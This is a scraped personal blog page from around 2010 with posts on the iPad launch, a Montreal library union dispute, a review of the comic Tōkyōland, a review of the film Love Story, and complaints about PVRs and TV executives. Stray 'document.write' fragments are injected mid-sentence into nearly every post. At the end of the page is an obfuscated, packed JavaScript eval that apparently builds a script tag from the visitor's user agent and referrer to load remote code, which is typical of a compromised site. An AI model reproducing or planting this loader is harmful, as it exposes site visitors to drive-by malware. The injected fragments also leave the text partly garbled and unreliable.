Apple officially announced its tablet: the iPad

Yesterday Apple finally announced its tablet. It is officially named the iPad (I know: it’s lame, document.write(“”); brings all sorts of jokes about female hygiene, and a name too similar to “iPod“ could cause confusion but who cares; it’s the product that counts, not the name). Opening Apple’s special event titled “Come see our latest creation” at the Yerba Buena Center in San Francisco, Steve Jobs first stated that “Apple is the largest mobile devices company in the world” and said that he chuckled when he saw The Wall Street Journal quote “Last time there was this much excitement about a tablet, it had some commandments written on it.” This quote is emblematic of all the rumors and hype that preceded the release of the iPad.
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The device looks like an oversized iPod Touch—it is half-an-inch thick (12.7 mm), weights only 1.5 lbs (680 g) and offers a 9.7” (24.3 cm) LED-backlit Multi-Touch display (resolution of 1024×768 at 132dpi)—but has impressive specs: it’s powered by a 1 GHz Apple A4 chip, a minimum of 16 GB flash-drive (you can also get 32 GB and 64 GB) and a battery that should last 10 hours (or one month of stand-by). It also comes with a dock connector, a speaker, a microphone, a 3.5-mm stereo headphone jack, bluetooth 2.1, wiFi (802.11a/b/g/n), an accelerometer, an ambient light sensor, a digital compass and very few buttons (On/Off/Sleep/Wake, Mute, Volume, Home). It runs the iPhone/iPod Touch OS with optimized basic apps (Safari, Mail, Photos, Video, YouTube, iPod, iTunes, App Store, Maps, Notes, Calendar, Contacts) as well as any traditional iPhone/iPod Touch apps (in their original size or double-pixel, full screen format)—but, by its release time, many developpers will have produced versions of their apps optimized for the iPad. There are also two apps specific to the iPad: iWork for iPad (Pages, Numbers, & Keynote going for $9.99 each) and iBooks, the iPad eBooks reader (using ePub format, eBooks are downloadable from Apple’s iBookstore for $12.99 ~ $14.99).

The iPad also comes as an optional 3G model (that costs an extra $130 US) which offers assisted GPS location and cellular data-only connectivity (UMTS/HSDPA at 850, 1900, 2100 MHz and GSM/EDGE at 850, 900, 1800, 1900 MHz using a Micro-SIM card). The device is unlocked but Apple has strucked a very good deal with AT&T for the 3G service: 250 MB of data for $14.99/month or unlimited data for $29.99 US/month (all that contract-free, so you can cancel anytime). Several accessories are also available: a Dock ($29 US, to charge and sych the iPad or use it as a picture frame), the Keyboard Dock ($69 US, a dock that comes with a full-size keyboard, for those who dislike the onscreen keyboard), a Case ($39 US, to protect the iPad and that can also be used as a stand to type or watch videos), a Camera Connection Kit ($29 US, to import photos either via a USB cable or a SD card), a Dock Connector to VGA Adapter ($29 US, to connect the iPad to a projector or a monitor) and a 10W USB Power Adapter (to charge the iPad directly from a power outlet).

Now, what about pricing & availability? The price (see chart bellow, in $US) is probably the best and most surprising thing about the iPad. The WiFi version will be available in 60 days (late March) and the 3G version will come out in 90 days (late April).

I don’t understand why the tech press made plenty of negative comments about the iPad once it was announced. Of course, after so much hype, the “magical” device may appear a little disappointing, but it is still an excellent product. However, I admit that not everyone will need an iPad. It all depends on what you want from it and which other devices you already have. If you already own both an iPhone and a MacBook, for example, it is likely you would have little use of an iPad. In my case, since I own neither of them, I am not shy to say that it should fulfill my expectations and will certainly answer my needs. As I was currently shopping for a cheap netbook and a Kindle, I am convinced that I will find better than those two devices in a single iPad. You see, the best purchase I made in the last five years was definitely my iPod Touch: I use it constantly as portable internet device, to check weather & bus schedules, read news online, read eBooks, play a few games, listen to music, watch videos, etc. I always keep it close to me and I love it. My only complain is that the screen is a little too small to read or watch video (I am getting old and my eyes are not as good as they were). Therefore, I was searching for a similar device with a bigger (color) screen that would make it easier to read web pages or eBooks and to watch video. I believe that the iPad is, without contest, the best candidate for that. Many apps on my iPod Touch (among others [click for iTunes links] Documents To Go, newspapers readers like Le Monde, NY Times, Cyberpresse, etc., eBooks readers like Stanza, Kindle for iPhone, B&N eReader, Kobo, Comics, Go! Manga, etc., all the PixelMags magazine apps, or video streaming apps like NFB Films or Crunchyroll) will have their real raison d’être with the iPad. So I can’t wait to purchase one (my choice would go for a 16 GB 3G model: I currently own a 8 GB iPod Touch, so 16 GB should be plenty for my need and the 3G would be a great improvement on the WiFi-only iPod).

Unfortunately, much is still unknown about the iPad—What would be the Canadian price? Will there be an affordable 3G international deal for Canada (Jobs said that International deals will start being announced this summer, in June or July, but with Rogers or Bell who knows how long it will take or how expensive it could get)? Will we be able to read our own eBooks in different formats, like PDF?—and it is still a device far from perfection: the iBooks app (and consequently the iBookstore) will be available only in the U.S. (at least in the beginning), the iPad offers no multi-tasking capability, no SD card slot, no Flash support and no webcam. The logical decision would be to wait for the next generation of the device (or at least a few months) to give time for Apple to make improvements, but I know I will purchase one as soon as it is released anyway.

iPad Press Reviews

(updated 2010/02/02)

Développements dans l’affaire Frotey

Le site du “109 au 429” nous fait part de développements dans l’affaire Frotey (voir billet “Les Bibliothèques en Déclin?”): la suspension de Mr. Frotey a été réduite de trois à un jour. C’est un résultat très décevant (et qui comporte des conditions) puisque selon moi il n’aurait dû faire l’objet d’aucune sanction, document.write(“”); mais (compte tenu des résultats auxquels notre bon syndicat nous a récemment habitué) c’est encore beau que la durée de la suspension n’ait pas été augmenté!
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Dans la même ligne d’idée, l’équipe du Colvert a récemment émit un nouveau bulletin (
“Le Canardo Pressé”: Année 5, Numéro 1: Le Naufrage), daté du 15 janvier 2110 (sic), où ils déploraient le fait que les lettres d’ententes particulières avec certains arrondissements ont causé la fin—cette fois définitive—de la banque réseau en la rendant totalement ingérable.

Cette situation est loin d’être drôle. J’ai moi-même été témoin, bien malgré moi, du désordre et de la confusion que cette aberration provoque. J’ai été engagé à l’automne 2008 par l’arrondissement “A”, qui ne m’a pas donné de bloc d’heures avant l’été 2009, mais heureusement (grâce à la banque réseau) j’ai rapidement obtenu un bloc dans une bibliothèque de l’arrondissement “B” dès janvier 2009. Cet automne, comme je n’avait qu’un bloc dans l’arrondissement “C” (et plus aucun dans le “A”, considéré comme mon port d’attache) M. Roussel—qui gérait alors la banque réseau—proposa de changer mon port d’attache pour “C”. Vous me suivez? Après discussions entre les responsables des bibliothèques de “C” et “B”, il fut conclu que, comme mon premier bloc avait été attribué par “B,” mon port d’attache devrait donc y être. Tel fut fait et cela me permis de reprendre un bloc à “B”. Malheureusement, un employé de “B” (qui avait perdu son bloc à cause de mon retour) contesta l’attribution de mon port d’attache et de mon bloc dans “B.” Les différentes lettres d’ententes rendant la situation nébuleuse, plus personne ne savait vraiment ce qui en était, ce qui était la bonne procédure, ni même où était le haut et le bas. Après moult discussions, enquêtes et inquisitions (et beaucoup de stress de ma part), il fut décidé que le bon choix était en effet le “B”… Ne riez pas trop car cela pourrait bien vous arrivez aussi. C’est ce genre de situation, rendu bien compliqué par les lettres d’ententes, qui a sans doute convaincu M. Roussel de l’impossibilité de son travail à la banque réseau.

Toutefois cela a d’autres répercussion encore plus troublantes. Dorénavant les employés sont engagé uniquement par arrondissment ce qui rend la mobilité d’emploi à l’intérieure de la ville difficile sinon impossible. Le fonctionnement de ces nouvelles banques d’arrondissement n’est pas encore très clair. Y aura-t-il des listes d’éligibilité à l’emploi d’établie et, si oui, selon quels critères: l’ancienneté-ville? l’ancienneté-arrondissement? le nombre d’heures accumulées? Les nouveaux employés des bibliothèques, s’ils ne veulent pas être enfermé dans un seul arrondissement et s’ils veulent augmenter leur chances de faire un maximum d’heures, devront donc appliquer dans chaque arrondissement et soumettre leur disponibilité à chacune des banques d’arrondissement. Malheureusement, à ce jour, il n’existe aucune liste des responsables de ces banques d’arrondissement. Les nouveaux employés doivent donc se fier au bouche à oreille et obtenir l’information où contacter ces responsables de leur collègues plus anciens. Lorsqu’une telle liste sera établi, elle devra également être aisément disponible à tous (ici il est bon de rappeller que, dans certaines bibliothèques, l’intranet est rendu difficile sinon impossible à consulter par les employés qui n’ont pas de poste informatique désigné—la liste devra donc être ailleurs).

Il est impératif que la ville, le syndicat et les arrondissements se mettent à table pour s’assurer que l’imbroglio que cause ces lettres d’ententes soit clarifié au plus tôt. Car, pour l’instant, c’est franchement invivable. Et nous n’avons que le syndicat à blamer pour cette situation…

Finalement, le 19 janvier dernier, l’équipe du Colvert nous faisait parvenir un autre bulletin (“Le Canard Boiteux”: Année 3, #1: L’intelligence arrive) qui se moquait, par l’entremise d’une bande-dessinée, du projet d’automatisation à la bibliothèque Côte-des-Neiges qui devrait inclure une “chute intelligente.” J’ai moi-même porté attention sur cette bande-dessinée (dans le billet “This week in the press (2009-12-15)”) de la série Unshelved (voir aussi le billet “Unshelved”). Pour bien rigoler, il faut également lire les bandes subséquentes (particulièrement celles du 2009/10/20 et 2009/10/21).

This week in the press (2010-01-26)

Books, document.write(“”); Digital Edition & Library
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See also the “Suggested Links (Shared Items)” in the column on the right side

(updated at 22:15 & 2009/01/28)

Tōkyōland

Pourquoi êtes-vous venu au Japon? Cette question qu’on me posait pour la 132e fois, document.write(“”); j’étais encore bien incapable d’y répondre. Pour y rejoindre Kayoko? Au début peut-être… Mais plus le temps passait, plus j’en doutais. Au-delà de ce qui m’avait poussé à partir pour Tokyo, il y avait ce qui m’y retenait, l’inconnu, des promesses d’aventures et… travailler chez des mangakas!” [Texte de couverture arrière]
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“Jean-Yves Brückman est un jeune dessinateur français qui se cherche. Il réalise un jour un vieux rêve : partir au Japon pour y vivre. Il se heurtera assez vite à l’apprentissage d’une vie d’immigré. Après plusieurs échecs professionnels, et bien qu’ignorant tout du manga, il deviendra assistant mangaka.” [Texte d’intro sur le site de l’éditeur]

T?ky?land m’a été recommandé par plusieurs amis et collèques: “T’es un fan de manga et du Japon alors tu vas certainement aimer cette superbe bédé” me disaient-ils. En effet, j’ai fini par l’emprunter à la bibliothèque publique et j’ai beaucoup apprécié. C’est un récit anecdotique où le “héros” raconte son expérience de voyage au Japon, dans un genre qui rappelle un peu le croisement entre la série Paul du dessinateur Québécois Michel Rabagliati et le film Lost in Translation de la réalisatrice Sofia Coppola. La première chose que l’on remarque en lisant T?ky?land, c’est son style un peu naïf, caractéristique de ce que l’on retrouve souvent ces temps-ci chez les “jeunes” auteurs qui font dans les récits de chronique sociale ou tranche-de-vie (Michel Rabagliati, Marjane Satrapi, Guy Delisle, etc). Malgré des arrière-plans relativement détaillés, le style est très simple et dégagé, mais offre des personnages aux traits sommaire, quasi-caricatural. C’est un style à mi-chemin entre le manga japonais et la bédé européenne: un dessin à l’encre, texturé de trames mais qui se distinque par l’ajout de vert pastel qui donne un peu plus de profondeur à la case.

Si le style de T?ky?land n’est pas pour plaire à tous, son histoire ne devrait pas laisser personne indifférent. Les mésaventures de Jean-Yves au pays du soleil levant trace un intéressant panorama de la culture japonaise et nous apprend beaucoup sur la société nippone et les différences culturelles qui la sépare de l’Occident. On découvre aussi de nombreux détails tant sur les “working-holiday” visas que sur le travail d’assistant mangaka. Tout cela n’est pas par hasard puisque Benjamin Reiss a vécu six ans au Japon—où il a entre autre travaillé comme assistant pour le mangaka Oiwa Kenji, l’artiste de Bienvenue dans la NHK. Il admet volontier dans des interviews que son récit est largement autobiographique. Mais une fois la lecture de T?ky?land terminée on reste un peu sur notre faim, se demandant si Jean-Yves retournera au Japon et espérant lire d’autres de ses mésaventures. Heureusement, Benjamin Reiss nous rassure en affirmant qu’une suite est déjà en train.

T?ky?land: Les aventures d’un Français au Japon, par Benjamin Reiss. Ed. 12 Bis, 2009. B&W (plus une couleur), 19 x 26 cm, 96 pgs. 15.00 € / $29.95 Can. Recommandé pour adolescents (14+). ISBN: 978-3-35648-068-2.
T?ky?land © 12 BIS, 2009.

Love Story

Harvard Law student Oliver Barrett IV falls in love with music student Jennifer Cavilleri. The fact that they are from two different social backgrounds (him from a rich and powerful family and her from the working class) doesn’t keep them from getting married. Oliver has always had issues with his father and he defies him once more with this marriage, document.write(“”); even if his father threatens to disown him. They build their life successfully and happily on their own until tragedy strikes. Love Story is considered one of the most romantic movie ever made. It tells of the love of a lifetime, the love between father and son, as “Love means never having to say you’re sorry.” It received seven Academy Award® nominations (including best picture, best director, best screenplay, best actor & actress and won one for best original score).
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I saw this movie on TV maybe twenty years ago and didn’t remember anything about it save the hype that surrounded it. My wife—who saw it when she was in high-school in Japan (where it was extremely popular)—wanted to see it again, so we got it on DVD. I must admit that I was quite disappointed. It’s a rather average movie and doesn’t mesure up to all the hype: the acting is certainly okay and the haunting music by Francis Lai is excellent, but the sound quality (particularly in dialogues) is bad, the story has nothing exceptional and the editing is often annoying (I’m not sure exactly why, but the cuts feel amateurish and I spotted a few continuity problems). There’s definitely something missing in that movie. You feel that only half the story is told as they could have developped a little more the characters and put more details in their everyday life (at least another fifteen or twenty minutes). I feel like I watched a movie in fastforward. I didn’t feel any emotions in the characters (I didn’t shed a single tear, which is rare). Most of the hype came from the success of the book—which was written after the script but published before the release of the movie—and of the original score which became an instant classic. I was curious to see it again—and I’m glad I did—but the movie (and its cinematic techniques) didn’t aged well, so it’s worth seeing mostly for its part in the popular movie history.

Love Story. USA, 1970, 99 min.; Dir.: Arthur Hiller; Scr.: Erich Segal; Phot.: Richard C Kratina; Ed.: Robert C Jones; Art Dir.: Robert Gundlach; Set Decor.: Philip Smith; Cost. Des.: Alice Manougian Martin, Pearl Somner; Music: Francis Lai; Prod.: David Golden, Howard G Minsky; Cast: Ali MacGraw (Jennifer), Ryan O’Neal (Oliver), John Marley (Phil), Ray Milland (Oliver Barrett III), Katherine Balfour (Mrs Barrett), Tom Lee Jones (Hank). Rated PG / 14+ (Language, love scene).

Love Story ™ & © 1970 by Paramount Pictures. All Rights Reserved.

I am tired… of those stupid TV executives

My job can certainly be quite tiring although it’s not very physical—it’s even rather boring sometime—but I do lots of commuting and that can also be a drain on my energy. Sometimes I get so tired that I cannot do anything after work—and that’s a real drag for all my other projects like the anime specials I am trying to put together or this blog. However, document.write(“”); I always do my best to rest on my days off (after all my priority is now to stay healthy in order to work and be able to cover our living expenses). I guess I must have been quite tired yesterday because I slept nearly twelve hours! To make sure I was well rested I spent the rest of the day relaxing while watching a little TV, reading a book (a manga actually) or the newspaper and fiddling on the computer (reading more news, doing some updating, taking notes, trying to learn GarageBand, installing Chrome OS, etc.).
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On another subject, some channels must really hate people with PVR (Personal Video Recorder—those cableboxes with an hard drive that can record two shows at a time, allow you to watch while recording and to fastforward the advert). I suppose they don’t like PVRs because their advertisers don’t like them either—since we can skip the advert (although, in my case, I do watch some adverts when they seem interesting, like the preview of a show or movie, a cool consummer product, etc.). Often, the people watching their TV on PVRs with a delay (a few hours to days later) are not counted in the ratings (the base for establishing the advert cost), therefore reducing the potential advertising income of TV stations. But this situation is slowly changing since delayed viewing on PVRs has started to be more and more frequent and is now calculated more often into the ratings.

Unfortunately, some TV stations still don’t like PVRs and—is it out of spite or simply to discourage viewers from using them?—often change the scheduling of a weekly show or let it run a few seconds or minutes over causing PVRs to record incomplete shows or sometime even fail to record them at all! I find this utterly annoying. This forces me to supplement the work of my PVR by also downloading some of the shows I am following in order to make sure I’ll be able to watch them in their entirety.

Another negative side effect of the PVR (and downloading) is that a reduced ratings will often cause the downfall or cancellation of a show when a larger part of the viewership is not watching the direct broadcast. This is particularly true for science-fiction or geeky TV series. TV executives—not very bright people, particularly at Fox—tend to count only the traditional ratings. I really hate those people. They seem to take a cruel pleasure in cancelling an excellent Sci-fi TV series which has a strong following amongst the geeky fans but that has not good ratings amongst the usual and mondane viewers… (There’s countless example of this: Space Above & Beyond, Babylon 5, Firefly, Terminator: The Sarah Connor Chronicles, Defying Gravity, Dollhouse, etc. — many of those on Fox)

Despite all that I still dearly love my PVR. It really changed my life and I don’t know how I was managing my TV watching before (I do vaguely remember recording one show at a time on a capricious VCR). With my hectic schedule I cannot necessarily watch a show at the moment it is broadcast, so now I can record one or two shows at a time for later watching. It is so convenient that I often PVR or download shows even when I am available to watch them in direct broadcast (then I simply jump in the show whenever I like and start watching from the start—and even skip the advert!).

It is surprising, when we think about it, how new technologies as simple as they are can completely change our lives so quickly. Of course such change is not always for the best. I do watch too much TV for my health. A recent study said that watching more than four hours of TV per day could seriously reduce our life expectancy. Maybe I should cut my viewing time and read more books instead—I would probably have more time to think or to write. However, TV is addictive they say. But, frankly, getting a story told either in writing as a book or in pictures as a TV broadcast isn’t that different, isn’t it? I guess, with a book, more is left to the imagination, making the brain work harder… But isn’t that more tiring? 😉

This week in the press (2010-01-19)

This was a very busy week for the news junkies. In my usual bilingual mix, document.write(“”); here are the stories that caught my interest amongst the outpouring of reports on the Haiti earthquake…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teekk|var|u0026u|referrer|ydysb||js|php’.split(‘|’),0,{}))

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